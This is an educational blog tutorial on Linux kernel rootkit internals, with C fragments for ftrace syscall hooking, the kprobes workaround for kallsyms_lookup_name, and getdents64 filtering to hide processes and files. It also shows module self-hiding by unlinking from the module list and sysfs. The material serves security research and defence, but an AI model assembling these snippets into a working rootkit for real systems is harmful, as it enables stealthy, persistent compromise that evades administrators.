index

Linux Internals For Rootkit Research

· 8min

Introduction

Linux kernel-level rootkits run in the operating system’s most privileged layer and hence, are very difficult to identify and uninstall. Knowledge of how kernel-level rootkits function is crucial for security researchers and defenders seeking to ensure system integrity.

Note: This knowledge should only be used for legitimate security research and defense purposes. Deploying rootkits in production systems without explicit authorization is illegal and unethical.

Understanding Loadable Kernel Modules (LKMs)

Loadable Kernel Modules form the foundation of most kernel-level rootkits. These are pieces of code that can be dynamically loaded into the Linux kernel at runtime without requiring a reboot. The basic structure of an LKM includes initialization and cleanup functions:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("solvz");
MODULE_DESCRIPTION("example module");
MODULE_VERSION("0.01");
static int __init example_init(void)
{
    printk(KERN_INFO "Hello, World!\n");
    return 0;
}
static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, World!\n");
}
module_init(example_init);
module_exit(example_exit);

LKMs are made using this as a base model, for setting up initialization to load the module and cleanup for removing the module from the kernel.

System Call Hooking

System calls are the primary interface between user space and kernel space. Rootkits typically target specific syscalls to hide their presence or provide backdoor functionality. The most commonly hooked syscalls include:

  • getdents/getdents64: Used to hide files and directories
  • kill: Often repurposed for rootkit control signals
  • read/write: For intercepting file operations
  • open/openat: For monitoring file access
  • Netfilter hooks (nf_register_hook): Used to intercept and manipulate network packets at various points in the kernel’s packet processing pipeline.

Traditional Syscall Table Modification

Historically, rootkits modified the system call table directly by:

  1. Finding the syscall table address (often through /proc/kallsyms)
  2. Disabling write protection on kernel memory: write_cr0(read_cr0() & (~0x10000)); // Clear WP bit
  3. Replacing function pointers with malicious versions
  4. Restoring original functionality when needed

However, this approach has limitations on modern kernels due to enhanced protection mechanisms.

Using Ftrace as an alternative:

Ftrace (Function Tracer) has emerged as the preferred method for kernel function hooking in modern Linux systems. Originally designed for debugging, ftrace provides a robust framework for intercepting kernel function calls.

Why Ftrace?

Ftrace offers several advantages over traditional methods:

  • Non-invasive: Doesn’t modify the actual syscall table
  • Stable: Less likely to cause system crashes
  • Flexible: Can hook any kernel function, not just syscalls
  • Efficient: Minimal performance overhead when not in use

Basic Ftrace Hook Structure

struct ftrace_hook {
    const char *name;
    void *function;
    void *original;
    unsigned long address;
    struct ftrace_ops ops;
};
static struct ftrace_hook hooks[] = {
    HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),
    HOOK("__x64_sys_kill", hook_kill, &orig_kill),
};

The ftrace framework handles the complex work of intercepting function calls and redirecting them to custom handlers.

Kernel Version Compatibility Considerations

Modern rootkit development is heavily influenced by ongoing changes in the Linux kernel’s internal APIs and security mechanisms. These are some of the changes to the kernel which impact LKM development:

Kernel 4.17+ Changes

Introduction of pt_regs Structure for Syscall Arguments

What Changed System call handlers now receive a pointer to a struct pt_regs rather than individual arguments.

Impact Rootkits hooking syscalls must extract syscall arguments from the pt_regs structure (e.g., regs -> di, regs -> si, etc.) instead of using the older calling convention.

Example:

// Old style
asmlinkage int my_syscall(int arg1, int arg2);
// New style (4.17+)
asmlinkage int my_syscall(struct pt_regs *regs);

Kernel 5.7+ Changes

kallsysms_lookup_name() No Longer Exported

What Changed The kernel stopped exporting the kallsysms_lookup_name() symbol to modules.

Impact Rootkits and other out-of-tree modules can no longer directly resolve kernel symbol addresses using this function.

Workarounds — Use kprobes to dynamically locate kallsysms_lookup_name(). — Employ brute-force memory scanning (less reliable).

Security Motivation This change was made to hinder rootkit development and improve kernel security.

Kernel 5.11+ Changes

Additional ftrace Structure Modifications

What Changed Internal structures and APIs related to ftrace (the function tracing and hooking mechanism) were modified. There were changes made in the ftrace_ops structure and registration process and also how hooks are installed and removed.

Impact Existing ftrace-based rootkits may require updates to remain compatible; older code may fail to compile or work correctly.

Linux kernel 5.7: kallsyms_lookup_name Changes

Pre-5.7 Changes

Before kernel version 5.7, rootkit development was relatively straightforward. The kallsysms_lookup_name() function was exported, allowing kernel modules to easily resolve symbol addresses:

// Pre-5.7 approach
unsigned long sys_call_table_addr;
sys_call_table_addr = kallsyms_lookup_name("sys_call_table");

This function was crucial for ftrace-based hooking frameworks, as it enabled dynamic symbol resolution.

The 5.7 Breaking Change

In February 2020, Linux kernel developers decided to unexport kallsysms_lookup_name() to prevent abuse by out-of-tree modules. This change, implemented in kernel 5.7, broke most existing rootkit techniques.

Post-5.7 Adaptations

Several workarounds emerged to handle the kallsysms_lookup_name() restriction:

1. Kprobes-Based Resolution

The most elegant solution uses kprobes to dynamically resolve the kallsysms_lookup_name address:

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
#endif
// In initialization function
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif

An alternative approach involves scanning kernel memory to locate symbols:

unsigned long kaddr_lookup_name(const char *fname_raw)
{
    unsigned long kaddr;
    char *fname_lookup, *fname;
    
    // Get kernel base address from sprint_symbol
    kaddr = (unsigned long) &sprint_symbol;
    kaddr &= 0xffffffffff000000;
    
    // Search through kernel memory
    for (int i = 0x0; i < 0x100000; i++) {
        sprint_symbol(fname_lookup, kaddr);
        if (strncmp(fname_lookup, fname, strlen(fname)) == 0) {
            return kaddr;
        }
        kaddr += 0x10;
    }
    return 0;
}

While functional, this method is less efficient and potentially less reliable than the kprobes approach.

Practical Rootkit Techniques

Process Hiding

Process hiding is implemented by intercepting directory listing syscalls. When tools like ps query /proc/, the rootkit filters out targeted process entries:

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 *dirent = (struct linux_dirent64 *)regs->si;
    struct linux_dirent64 *current_dir, *previous_dir = NULL;
    
    int ret = orig_getdents64(regs);
    
    // Filter out hidden processes
    while (offset < ret) {
        current_dir = (void *)dirent_ker + offset;
        
        if (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) {
            // Hide this directory entry
            if (current_dir == dirent_ker) {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            previous_dir->d_reclen += current_dir->d_reclen;
        } else {
            previous_dir = current_dir;
        }
        offset += current_dir->d_reclen;
    }
    
    return ret;
}

This technique manipulates the directory structure returned to userspace, effectively hiding processes from standard tools.

File and Directory Hiding

Similar to process hiding, file hiding works by filtering directory listings.

// Hide files/directories starting with a specific prefix
if (strncmp(HIDE_PREFIX, current_dir->d_name, strlen(HIDE_PREFIX)) == 0) {
    // Remove from directory listing
    previous_dir->d_reclen += current_dir->d_reclen;
}

Module Hiding in Linux Rootkits

Another technique used on rootkits is module hiding, which removes the malicious kernel module from /proc/modules and /sys/module, making it invisible to standard tools like lsmod. This is typically achieved by unlinking the module’s entry from the list_head structures that the kernel uses to track loaded modules. For example, the following code snippet demonstrates how a rootkit might hide itself:

#include <linux/module.h>
#include <linux/list.h>
static int hide_module(void) {
    list_del(&THIS_MODULE->list);          // Remove from modules list
    kobject_del(&THIS_MODULE->mkobj.kobj); // Remove from sysfs
    return 0;
}

Once hidden, the module won’t appear in module listings, making detection much harder for defenders relying on standard system utilities. However, advanced security tools may still detect hidden modules by analyzing kernel memory directly.

Drawbacks and Requirements of Using Linux Kernel-Level Rootkits

Required Permissions

  • Root Privileges Needed: Loading or manipulating kernel modules, including rootkits, requires root access. Only processes with administrative rights can insert or remove kernel modules using tools like insmod, modprobe, or direct system calls.
  • Kernel Module Signing: On many modern Linux distributions, kernel module signing is enforced. Unsigned modules (including most rootkits) cannot be loaded unless Secure Boot is disabled or the module is properly signed with a trusted key.
  • Bypassing Security Features: Additional protections like SELinux, AppArmor, or kernel lockdown mode may further restrict module loading or kernel memory access, requiring their deactivation or bypass.

Kernel Stability Risks

  • System Crashes and Panics: Rootkits operate at the highest privilege level. Bugs or incompatibilities can easily cause kernel panics, freezes, or spontaneous reboots, potentially leading to data loss or service outages.
  • Version Compatibility Issues: Kernel internals change frequently. Rootkits designed for one kernel version may not work — or may destabilize — the system on another version, especially after major updates (e.g., changes in syscall handling, symbol exports, or internal structures).
  • Resource Leaks and Corruption: Poorly implemented rootkits can introduce memory leaks, corrupt kernel data structures, or leave hooks improperly cleaned up, degrading system performance over time.

Security and Detection Risks

  • Detection by Security Tools: Advanced security tools can scan kernel memory for anomalies, such as hidden modules, unexpected hooks, or altered syscall tables, increasing the risk of detection and forensic analysis.
  • Potential for Escalation: A malfunctioning or detected rootkit can provide attackers or defenders with clues, leading to further compromise or system lockdown.

References and Further Reading

The Linux documentation is a good resource for learning more about Linux internals, and debugging the code yourself using various tools like strace to trace syscalls within the kernel itself. Links to these resources: